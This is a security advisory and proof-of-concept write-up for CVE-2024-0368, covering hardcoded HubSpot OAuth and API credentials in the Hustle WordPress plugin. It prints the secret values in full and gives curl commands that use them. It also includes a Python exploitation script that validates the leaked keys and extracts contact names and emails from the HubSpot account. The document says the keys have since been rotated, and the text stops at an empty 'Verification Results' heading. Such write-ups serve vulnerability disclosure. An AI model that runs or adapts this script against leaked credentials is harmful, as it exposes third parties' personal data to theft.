CVE-2024-0368

Hustle Plugin <= 7.8.3 contains hardcoded HubSpot API credentials in inc/providers/hubspot/hustle-hubspot-api.php

Vulnerability Summary

Field	Value
CVE ID	CVE-2024-0368
Title	Hustle <= 7.8.3 - Sensitive Information Exposure via Exposed HubSpot API Keys
CVSS Score	8.6 (High)
Affected Plugin	Hustle - Email Marketing, Lead Generation, Optins, Popups (wordpress-popup)
Vulnerable Versions	<= 7.8.3
Patched Version	7.8.4
Vulnerability Type	CWE-200: Exposure of Sensitive Information

Technical Analysis

Vulnerable Code Location

File: inc/providers/hubspot/hustle-hubspot-api.php

class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

Exposed Credentials

Credential	Value	Purpose
CLIENT_ID	5253e533-2dd2-48fd-b102-b92b8f250d1b	OAuth2 Application Identifier
CLIENT_SECRET	2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca	OAuth2 Client Secret
HAPIKEY	db9600bf-648c-476c-be42-6621d7a1f96a	HubSpot Legacy API Key

OAuth Scopes (Potential Access)

The hardcoded OAuth configuration requested the following HubSpot scopes:

• oauth - OAuth authentication
• crm.objects.contacts.write - Create/modify contacts
• crm.objects.contacts.read - Read contact information (PII)
• crm.lists.read - Read marketing lists
• crm.lists.write - Modify marketing lists
• crm.schemas.contacts.write - Modify contact schemas
• crm.schemas.contacts.read - Read contact schemas

Vulnerability Explanation

Root Cause

WPMUDEV hardcoded their own HubSpot OAuth application credentials directly in the plugin source code. This is a violation of secure development practices as:

1. Public Exposure: WordPress plugins are open source - the code is publicly available on wordpress.org SVN repository
2. Mass Distribution: The Hustle plugin has 100,000+ active installations
3. Shared Credentials: All plugin installations share the same API credentials

Attack Vector

An attacker could:

1. Download the vulnerable plugin from wordpress.org
2. Extract the hardcoded credentials from the PHP source
3. Use these credentials to authenticate to HubSpot's API
4. Access WPMUDEV's HubSpot account and any data processed through their integration

Potential Impact

With valid credentials, an attacker could potentially:

• Read PII: Access contact information (names, emails, phone numbers, addresses)
• Modify Data: Create, update, or delete contacts in HubSpot
• Marketing List Access: View and manipulate marketing lists
• Data Exfiltration: Extract subscriber data from sites using Hustle + HubSpot integration

Proof of Concept

Step 1: Locate Vulnerable File

# From WordPress installation
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

Output:

const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

Step 2: Test API Key Access (Contacts)

curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

Note: As of testing, the API key has been rotated/expired (expected post-disclosure):

{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

Step 3: Test OAuth Flow

curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

Response: Credentials have been invalidated.

Exploitation Script (Python)

#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()

    print()
    if api_valid or access_token:
        print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
        extract_contacts(
            api_key=CREDENTIALS["hapikey"] if api_valid else None,
            access_token=access_token
        )
    else:
        print("[*] Credentials have been rotated (expected post-disclosure)")
        print("[*] Vulnerability exists in code - credentials were exposed")

    print()
    print("=" * 60)

Verification Results